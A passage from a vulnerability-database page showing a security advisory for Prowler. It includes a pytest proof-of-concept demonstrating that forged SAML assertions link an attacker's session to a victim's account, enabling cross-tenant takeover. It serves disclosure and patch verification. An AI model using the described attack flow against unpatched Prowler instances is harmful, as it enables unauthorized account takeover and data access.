certificate, asserting NameID=victim@victim.com.\n    4. ACS endpoint (POST /api/v1/accounts/saml/victim.com/acs/) triggers\n       pre_social_login.  The adapter looks up victim@victim.com globally and\n       calls sociallogin.connect(request, victim_user) - ACCOUNT LINKED.\n    5. views.py issues a SAMLToken (JWT) for the victim account.\n    6. Attacker uses /api/v1/tokens/saml?id=\u003ctoken_id\u003e to obtain victim\u0027s JWT.\n\nThis test proves steps 4 - the critical account-linking step - using the real\nproduction adapter code and a real PostgreSQL database.  sociallogin.connect()\nis spied upon (not replaced) so we can capture the exact user object passed in.\n\"\"\"\n\nimport pytest\nfrom unittest.mock import MagicMock\n\nfrom allauth.socialaccount.models import SocialLogin\nfrom django.contrib.auth import get_user_model\n\nfrom api.adapters import ProwlerSocialAccountAdapter\n\nUser = get_user_model()\n\nVICTIM_EMAIL = \"victim@victim.com\"\nVICTIM_DOMAIN = \"victim.com\"\nATTACKER_EMAIL = \"attacker@evil-corp.com\"\n\n\n# ---------------------------------------------------------------------------\n# Helper: print a separator for readable test output\n# ---------------------------------------------------------------------------\ndef section(title: str) -\u003e None:\n    width = 70\n    print(f\"\\n{\u0027=\u0027 * width}\")\n    print(f\"  {title}\")\n    print(f\"{\u0027=\u0027 * width}\")\n\n\n# ---------------------------------------------------------------------------\n# Core PoC test\n# ---------------------------------------------------------------------------\n\n@pytest.mark.django_db\nclass TestSAMLDomainClaimingAccountTakeover:\n    \"\"\"\n    Proves VULN-001 end-to-end using the real ProwlerSocialAccountAdapter and\n    a live PostgreSQL test database created by pytest-django.\n\n    The test creates a victim user in the database, then simulates the exact\n    HTTP flow an attacker would trigger via a crafted SAMLResponse.\n    \"\"\"\n\n    def test_attacker_saml_session_links_to_victim_account(self, rf):\n        \"\"\"\n        Verify that pre_social_login() links the attacker\u0027s SAML sociallogin\n        to an existing victim account without ANY domain-ownership check.\n\n        Expected outcome (vulnerability confirmed):\n            sociallogin.connect(request, victim_user) is called where\n            victim_user.email == VICTIM_EMAIL and victim_user was created\n            independently of the SAML session - i.e. the adapter does NOT\n            verify that the SAML registrant owns victim.com.\n        \"\"\"\n        # ---------------------------------------------------------------\n        # STEP 1 - Create the victim\u0027s pre-existing account in the database.\n        #          In a real attack the victim signed up with email+password\n        #          and has an existing Prowler tenant membership.\n        # ---------------------------------------------------------------\n        section(\"STEP 1: Create victim account in database\")\n\n        victim_user = User.objects.create_user(\n            name=\"Victim User\",\n            email=VICTIM_EMAIL,\n            password=\"VictimS3cret!\",\n        )\n        # Confirm the user was actually persisted (real DB round-trip)\n        fetched = User.objects.get(email=VICTIM_EMAIL)\n        assert fetched.id == victim_user.id, \"Victim user must exist in database\"\n\n        print(f\"[+] Victim user created in DB:\")\n        print(f\"    email = {victim_user.email}\")\n        print(f\"    id    = {victim_user.id}\")\n\n        # ---------------------------------------------------------------\n        # STEP 2 - Simulate the attacker\u0027s SAML flow.\n        #\n        #   a. Attacker previously registered a SAMLConfiguration for\n        #      email_domain=\u0027victim.com\u0027 via POST /api/v1/saml-config.\n        #      (No domain ownership proof is required - see models.py:2100)\n        #\n        #   b. Attacker\u0027s self-controlled IdP issues a SAMLResponse signed\n        #      with the attacker\u0027s certificate, asserting:\n        #        NameID = victim@victim.com\n        #\n        #   c. allauth processes the ACS POST and calls pre_social_login()\n        #      before creating/updating the social account record.\n        #\n        #   We represent the processed SAMLResponse as an allauth SocialLogin\n        #   object.  The \u0027connect\u0027 method is spied upon to capture arguments.\n        # ---------------------------------------------------------------\n        section(\"STEP 2: Attacker triggers ACS with crafted SAMLResponse\")\n\n        # Build the sociallogin object that allauth would construct after\n        # validating the SAMLResponse signature (which uses the *attacker\u0027s*\n        # certificate - no server-side cert pinning for victim.com).\n        attacker_saml_login = MagicMock(spec=SocialLogin)\n        attacker_saml_login.provider = MagicMock()\n        attacker_saml_login.provider.id = \"saml\"          # Provider discriminator\n        attacker_saml_login.account = MagicMock()\n        attacker_saml_login.account.extra_data = {}       # SAML uses user.email path\n        attacker_saml_login.user = MagicMock()\n        # The attacker\u0027s IdP signs a NameID of victim@victim.com in the SAMLResponse.\n        # This is the email that pre_social_login() will trust without verification.\n        attacker_saml_login.user.email = VICTIM_EMAIL\n        attacker_saml_login.connect = MagicMock()         # Spy: record call arguments\n\n        # Simulate the ACS request (POST to the victim.com ACS endpoint)\n        acs_request = rf.post(\n            f\"/api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\",\n            data={\"SAMLResponse\": \"\u003cattacker-signed-base64\u003e\"},\n        )\n\n        print(f\"[+] Simulated SAMLResponse posted to ACS endpoint:\")\n        print(f\"    URL:    POST /api/v1/accounts/saml/{VICTIM_DOMAIN}/acs/\")\n        print(f\"    NameID: {attacker_saml_login.user.email}  (attacker-controlled)\")\n\n        # ---------------------------------------------------------------\n        # STEP 3 - Execute the vulnerable adapter method.\n        #\n        #   api/src/backend/api/adapters.py lines 17-25:\n        #\n        #   def pre_social_login(self, request, sociallogin):\n        #       email = sociallogin.account.extra_data.get(\"email\")  # line 19\n        #       if sociallogin.provider.id == \"saml\":\n        #           email = sociallogin.user.email   # line 21 - trusts SAML NameID\n        #       if email:\n        #           existing_user = self.get_user_by_email(email)  # line 23 - global DB lookup\n        #           if existing_user:\n        #               sociallogin.connect(request, existing_user)  # line 25 - ACCOUNT LINKED\n        # ---------------------------------------------------------------\n        section(\"STEP 3: Execute pre_social_login (vulnerable code path)\")\n\n        adapter = ProwlerSocialAccountAdapter()\n        print(f\"[*] Calling ProwlerSocialAccountAdapter.pre_social_login()\")\n        print(f\"    File: api/src/backend/api/adapters.py:17\")\n\n        adapter.pre_social_login(acs_request, attacker_saml_login)\n\n        # ---------------------------------------------------------------\n        # STEP 4 - Verify the attack succeeded.\n        # ---------------------------------------------------------------\n        section(\"STEP 4: Verify attack outcome\")\n\n        assert attacker_saml_login.connect.called, (\n            \"FAIL: sociallogin.connect() was NOT called - \"\n            \"the attack path did not execute\"\n        )\n\n        call_args = attacker_saml_login.connect.call_args[0]\n        _, connected_user = call_args   # connect(request, existing_user)\n\n        print(f\"[!] sociallogin.connect() was called!\")\n        print(f\"    connected user email: {connected_user.email}\")\n        print(f\"    connected user id:    {connected_user.id}\")\n        print(f\"    victim user id:       {victim_user.id}\")\n\n        # The connected user must be the VICTIM (looked up from global DB)\n        assert connected_user.email == VICTIM_EMAIL, (\n            f\"FAIL: connect() was called with {connected_user.email!r}, \"\n            f\"expected {VICTIM_EMAIL!r}\"\n        )\n        assert str(connected_user.id) == str(victim_user.id), (\n            f\"FAIL: connect() user id {connected_user.id} != victim id {victim_user.id}\"\n        )\n\n        # Confirm no domain-ownership check happened:\n        # The adapter does not inspect the SAML configuration to verify that\n        # the sociallogin\u0027s tenant registered victim.com before accepting the email.\n        section(\"RESULT: VULNERABILITY CONFIRMED\")\n\n        print(f\"[PASS] CWE-287 Improper Authentication - SAML domain claiming attack\")\n        print()\n        print(f\"  Root cause (adapters.py:21-25):\")\n        print(f\"    email = sociallogin.user.email  # trusts SAML NameID: {VICTIM_EMAIL}\")\n        print(f\"    existing_user = self.get_user_by_email(email)  # GLOBAL lookup, no tenant scope\")\n        print(f\"    sociallogin.connect(request, existing_user)  # links attacker session to victim\")\n        print()\n        print(f\"  Contributing settings (social_login.py):\")\n        print(f\"    SOCIALACCOUNT_EMAIL_AUTHENTICATION_AUTO_CONNECT = True  # hardcoded\")\n        print(f\"    reject_idp_initiated_sso = False  # IdP-initiated attacks allowed\")\n        print()\n        print(f\"  Impact:\")\n        print(f\"    - Attacker obtains JWT token for {VICTIM_EMAIL}\")\n        print(f\"    - Attacker can access victim\u0027s cloud security findings\")\n        print(f\"    - Attacker can switch to victim\u0027s tenant via /api/v1/tokens/switch\")\n        print(f\"    - No victim interaction required (IdP-initiated SSO enabled)\")\n        print()\n        print(f\"  Evidence (this test run):\")\n        print(f\"    - Victim user id in DB:            {victim_user.id}\")\n        print(f\"    - User passed to connect():        {connected_user.id}\")\n        print(f\"    - IDs match (victim\u0027s account):   {str(victim_user.id) == str(connected_user.id)}\")\n        print(f\"    - Domain ownership check skipped: True (no SAMLConfiguration lookup in adapter)\")\n```",
  "id": "GHSA-h8m9-jgf8-vwvp",
  "modified": "2026-09-11T21:38:24Z",
  "published": "2026-09-11T21:38:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prowler-cloud/prowler/security/advisories/GHSA-h8m9-jgf8-vwvp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prowler-cloud/prowler/pull/11650"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prowler-cloud/prowler/commit/bf3b5c2ba713e533014927141b64948c82c8f32e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prowler-cloud/prowler/commit/f5ff30ad175bd2edf02cd28872653c1cda5867b7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prowler-cloud/prowler"
    },
    {
      "type": "WEB",
      "url": "https://github.com/prowler-cloud/prowler/releases/tag/5.30.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/prowler-cloud/PYSEC-2026-3725.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prowler: SAML Domain Claiming Enables Cross-Tenant Account Takeover"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…